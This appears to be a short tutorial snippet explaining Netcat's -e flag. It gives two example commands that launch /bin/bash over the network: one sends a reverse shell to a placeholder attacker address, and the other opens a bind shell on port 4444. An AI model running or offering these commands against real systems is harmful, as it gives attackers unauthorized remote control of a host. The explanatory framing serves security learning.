The -e flag in some Netcat implementations allows the user to specificy a command that gets executed within the session.
For example, an attacker may use this command to establish a reverse shell:
nc -e /bin/bash ATTACKER_IP ATTACKER_PORT
Or this to establish a bind shell on port 4444:
nc -e /bin/bash -lvp 4444